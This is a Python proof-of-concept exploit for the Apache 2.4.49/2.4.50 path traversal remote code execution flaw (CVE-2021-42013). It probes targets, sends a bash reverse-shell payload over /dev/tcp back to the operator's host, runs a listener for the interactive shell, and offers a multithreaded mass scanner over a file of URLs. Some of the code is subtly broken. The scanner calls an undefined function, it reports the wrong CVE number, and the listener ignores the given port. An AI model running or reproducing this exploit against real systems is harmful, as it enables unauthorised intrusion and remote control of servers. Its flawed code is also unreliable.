CVE-2021-42013.py

#!/bin/python3

import sys
import select
import socket
import argparse
import threading
import subprocess
from rich.console import Console
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed

def ascii_art():
    print("")
    color.print("[red]░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ▄█─ ── ─█▀█─ █▀█ █▀▀█ ▄█─ █▀▀█[/red]")
    color.print("[red]░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ ─█─ ▀▀ █▄▄█▄ ─▄▀ █▄▀█ ─█─ ──▀▄[/red]")
    color.print("[red]░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ▄█▄ ── ───█─ █▄▄ █▄▄█ ▄█▄ █▄▄█[/red]")
    print("")
    print("Coded by: K3ysTr0K3R --- (I love you <3)")
    print("")

color = Console()
vuln_path = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"

def test_vuln(target):
    test_data = [
            "curl", "-sk", "-X", "GET", f"{target}{vuln_path}",
            "-H", "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0",
            "-H", "Content-Length: 20",
            '--data', "ZGx=|echo;echo QVZFE"
    ]

    try:
        output = subprocess.check_output(test_data, text=True)
        return output
    except subprocess.CalledProcessError as e:
        return e.output

def exploit_target(target, lhost, lport):
    exploit_data = [
            'curl', '-sk', '-X', 'WFZh', f'{target}{vuln_path}',
            '-H', 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0',
            '-H', 'Content-Length: 92',
            '--data', f"rmJ=|echo;bash -c '0<&124-;exec 124<>/dev/tcp/{lhost}/{lport};sh <&124 >&124 2>&124'"
    ]

    try:
        output = subprocess.check_output(exploit_data, text=True)
        return output
    except subprocess.CalledProcessError as e:
        return e.output

def exploit_process(target, lhost, lport):
    color.print("[bold bright_blue][*][/bold bright_blue] Checking if the target is vulnerable")
    if "QVZFE" in test_vuln(target):
        color.print("[bold bright_green][+][/bold bright_green] The target is vulnerable")
        color.print(
                f"[bold bright_blue][*][/bold bright_blue] Launching exploit againts: [bold bright_cyan]{target}[/bold bright_cyan]"
        )
        color.print(
                f"[bold bright_blue][*][/bold bright_blue] Sending payload: [bold bright_yellow]bash -c[/bold bright_yellow] [bold bright_green]'0<&124-;exec 124<>/dev/tcp/{lhost}/{lport};sh <&124 >&124 2>&124'[/bold bright_green]"
        )
        exploit_thread = threading.Thread(target=exploit_target, args=(target, lhost, lport))
        listen_thread = threading.Thread(target=start_listener, args=(lhost, lport))
        exploit_thread.start()
        listen_thread.start()
        exploit_thread.join()
    else:
        color.print("[red][~][/red] Target is not vulnerable")
        exit()


def start_listener(lhost, lport):
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.bind(("0.0.0.0", 4444))
        server_socket.listen(1)
        color.print(f"[bold bright_blue][*][/bold bright_blue] Listening on {lhost}:{lport}")
        client_socket, addr = server_socket.accept()
        color.print(f"[bold bright_green][+][/bold bright_green] Connection received from {addr[0]}:{addr[1]}")
        client_socket.setblocking(0)
        color.print("[bold bright_blue][*][/bold bright_blue] Command shell opened")
        inputs = [sys.stdin, client_socket]
        outputs = [client_socket]

        while True:
            readable, writable, exceptional = select.select(inputs, outputs, inputs)

            for s in readable:
                if s is client_socket:
                    response = s.recv(4096)
                    if not response:
                        color.print("[red][!][/red] Connection closed by remote end.")
                        return
                    print(response.decode(errors="replace").strip())
                else:
                    command = s.readline().strip()
                    if command:
                        client_socket.send(command.encode() + b"\n")

            for s in exceptional:
                color.print("[red][!][/red] Exceptional condition, closing the socket.")
                return

    except KeyboardInterrupt:
        color.print("[red][!][/red] Keyboard Interrupt received, closing socket.")

    finally:
        if server_socket:
            server_socket.close()
        if client_socket:
            client_socket.close()

def CVE_2021_42013_scanner(target):
    if "QVZFE" in test_vulns(target):
        color.print(
            f"[bold bright_green][+][/bold bright_green] [bold bright_cyan]{target}{vuln_path}[/bold bright_cyan] - is vulnerable to [bold bright_green]CVE-2019-15107[/bold bright_green]"
        )

def scan_from_file(target_file, threads):
    with open(target_file, "r") as url_file:
        urls = [url.strip() for url in url_file]
        if not urls:
            return

        completed_tasks = []
        failed_tasks = []

        with alive_bar(
            len(urls), title="Scanning Targets", bar="smooth", enrich_print=False
        ) as bar:
            with ThreadPoolExecutor(max_workers=threads) as executor:
                future_to_url = {
                    executor.submit(CVE_2021_42013_scanner, url): url for url in urls
                }
                for future in as_completed(future_to_url):
                    url = future_to_url[future]
                    try:
                        future.result()
                        completed_tasks.append(url)
                    except Exception:
                        failed_tasks.append((url))
                    bar()

def main():
    ascii_art()
    parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2021-42013 - Apache 2.4.49 & 2.4.50 Remote Code Execution")
    parser.add_argument("--url", help="Target URL to exploit")
    parser.add_argument("--lhost", help="Local host for reverse shell")
    parser.add_argument("--lport", help="Local port for reverse shell")
    parser.add_argument("--file", help="File containing URLs for scanning")
    parser.add_argument("--threads",help="The amount of threads you desire to increase the speed of the scanner")

    args = parser.parse_args()

    match args:
        case args if args.file:
            scan_from_file(args.file, int(args.threads or 1))
        case args if args.url and args.lhost and args.lport:
            exploit_process(args.url, args.lhost, args.lport)
        case _:
            parser.print_help()

if __name__ == "__main__":
    main()